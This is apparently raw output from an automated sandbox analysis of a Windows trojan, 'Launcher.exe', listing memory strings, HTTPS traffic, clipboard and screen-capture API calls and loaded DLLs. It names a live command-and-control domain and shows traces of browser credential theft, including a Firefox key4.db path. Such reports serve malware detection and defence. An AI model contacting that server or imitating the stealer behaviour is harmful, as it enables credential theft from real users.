Source: Launcher.exe, 00000003.00000003.1262973485.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Launcher.exe, 00000003.00000003.1240150298.000000000306D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518942042.000000000305B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1285753592.00000000030C7000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518850501.00000000030C6000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1284751333.0000000003056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: Launcher.exe, 00000003.00000003.1305823260.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/#
Source: Launcher.exe, 00000003.00000002.2473560458.00000000030C7000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518633968.00000000030B5000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1285753592.00000000030C7000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518850501.00000000030C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/;
Source: Launcher.exe, 00000003.00000003.1240048261.000000000305C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240150298.000000000306D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/DlJ
Source: Launcher.exe, 00000003.00000003.1285753592.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/K
Source: Launcher.exe, 00000003.00000003.1251614310.00000000058F0000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240048261.0000000003056000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518869761.000000000306C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1284555182.00000000030C7000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473079498.0000000003024000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1251540668.00000000058F0000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240048261.000000000305C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473429917.000000000306C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240150298.000000000306D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1285753592.00000000030AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: Launcher.exe, 00000003.00000003.1251614310.00000000058F0000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1251540668.00000000058F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api0
Source: Launcher.exe, 00000003.00000003.1518501096.00000000058F0000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473959250.00000000058F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api9
Source: Launcher.exe, 00000003.00000003.1285753592.00000000030AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apie
Source: Launcher.exe, 00000003.00000003.1518869761.000000000306C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473429917.000000000306C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apijaT
Source: Launcher.exe, 00000003.00000003.1285753592.00000000030AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api~
Source: Launcher.exe, 00000003.00000003.1240048261.000000000303B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api
Source: Launcher.exe, 00000003.00000003.1296626962.000000000303B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apial
Source: Launcher.exe, 00000003.00000002.2473225182.000000000303B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518744844.000000000303B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apir3.default-release/key4.dbPK
Source: Launcher.exe, 00000003.00000002.2473225182.000000000303B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518744844.000000000303B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apitPK
Source: Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.7:49706 version: TLS 1.2

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_00432FF0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00432FF0

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_05731000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

3_2_05731000

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_00432FF0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00432FF0

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_004341B0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_004341B0

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00120060	0_2_00120060
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00116127	0_2_00116127
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0012B59E	0_2_0012B59E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0011A982	0_2_0011A982
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0012BD99	0_2_0012BD99
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0012DFE2	0_2_0012DFE2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00120060	3_2_00120060
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00116127	3_2_00116127
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0012B59E	3_2_0012B59E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0011A982	3_2_0011A982
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0012BD99	3_2_0012BD99
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0012DFE2	3_2_0012DFE2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0040D37F	3_2_0040D37F
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004213D0	3_2_004213D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00440440	3_2_00440440
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00423450	3_2_00423450
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041050E	3_2_0041050E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0040C586	3_2_0040C586
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004086D0	3_2_004086D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004227AF	3_2_004227AF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004388E0	3_2_004388E0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043FA20	3_2_0043FA20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00426B60	3_2_00426B60
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0040AB30	3_2_0040AB30
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00411B90	3_2_00411B90
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042CE11	3_2_0042CE11
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00422E22	3_2_00422E22
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00422070	3_2_00422070
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004170CA	3_2_004170CA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042A0E0	3_2_0042A0E0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004400B0	3_2_004400B0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042D150	3_2_0042D150
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043F110	3_2_0043F110
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041E120	3_2_0041E120
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00429129	3_2_00429129
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00426130	3_2_00426130
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043F1C0	3_2_0043F1C0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00414250	3_2_00414250
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043D25E	3_2_0043D25E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043F260	3_2_0043F260
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00439260	3_2_00439260
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00406270	3_2_00406270
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042F23E	3_2_0042F23E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004312C0	3_2_004312C0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042C2C6	3_2_0042C2C6
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004042D0	3_2_004042D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00443288	3_2_00443288
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004092B0	3_2_004092B0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042C31F	3_2_0042C31F
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00416322	3_2_00416322
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00429129	3_2_00429129
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00436455	3_2_00436455
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043D45C	3_2_0043D45C
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041E430	3_2_0041E430
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004264D7	3_2_004264D7
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004074F0	3_2_004074F0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043C540	3_2_0043C540
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00439520	3_2_00439520
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00438590	3_2_00438590
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041E630	3_2_0041E630
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042C6D9	3_2_0042C6D9
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041C6F8	3_2_0041C6F8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041F690	3_2_0041F690
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00409770	3_2_00409770
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00406700	3_2_00406700
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004257D0	3_2_004257D0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004307EF	3_2_004307EF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042C7B2	3_2_0042C7B2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00429862	3_2_00429862
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00416322	3_2_00416322
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042D819	3_2_0042D819
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004288D4	3_2_004288D4
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043E8F6	3_2_0043E8F6
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004368FE	3_2_004368FE
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00405960	3_2_00405960
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00403920	3_2_00403920
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004209F0	3_2_004209F0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004189FD	3_2_004189FD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00408A40	3_2_00408A40
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041DA40	3_2_0041DA40
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00425A7F	3_2_00425A7F
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00423A90	3_2_00423A90
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00419B00	3_2_00419B00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041ABC0	3_2_0041ABC0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00439C57	3_2_00439C57
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00404C60	3_2_00404C60
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00416C2F	3_2_00416C2F
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00423D50	3_2_00423D50
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00432D70	3_2_00432D70
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041DD10	3_2_0041DD10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043FD30	3_2_0043FD30
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041BDF0	3_2_0041BDF0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00428DA0	3_2_00428DA0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00427E69	3_2_00427E69
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0040DE26	3_2_0040DE26
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0041AEC0	3_2_0041AEC0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00405EB0	3_2_00405EB0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043EEB0	3_2_0043EEB0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00402F00	3_2_00402F00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00426F10	3_2_00426F10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00437F10	3_2_00437F10
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00426F30	3_2_00426F30
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0040AFC0	3_2_0040AFC0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0042AFD0	3_2_0042AFD0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00408FE0	3_2_00408FE0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00423FF2	3_2_00423FF2
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00417F96	3_2_00417F96
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043EFA0	3_2_0043EFA0

Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 001232CD appears 34 times
Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 00116640 appears 94 times
Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 0011E8C8 appears 42 times
Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 00414240 appears 75 times
Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 00408080 appears 39 times

Source: Launcher.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Launcher.exe	Static PE information: Section: .BSS ZLIB complexity 1.0003276837624584
Source: Launcher.exe	Static PE information: Section: .BSS ZLIB complexity 1.0003276837624584

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_004388E0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_004388E0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6472:120:WilError_03

Source: Launcher.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Launcher.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Launcher.exe, 00000003.00000003.1252047329.00000000058F9000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1241334566.00000000058F8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Launcher.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\Launcher.exe

File read: C:\Users\user\Desktop\Launcher.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
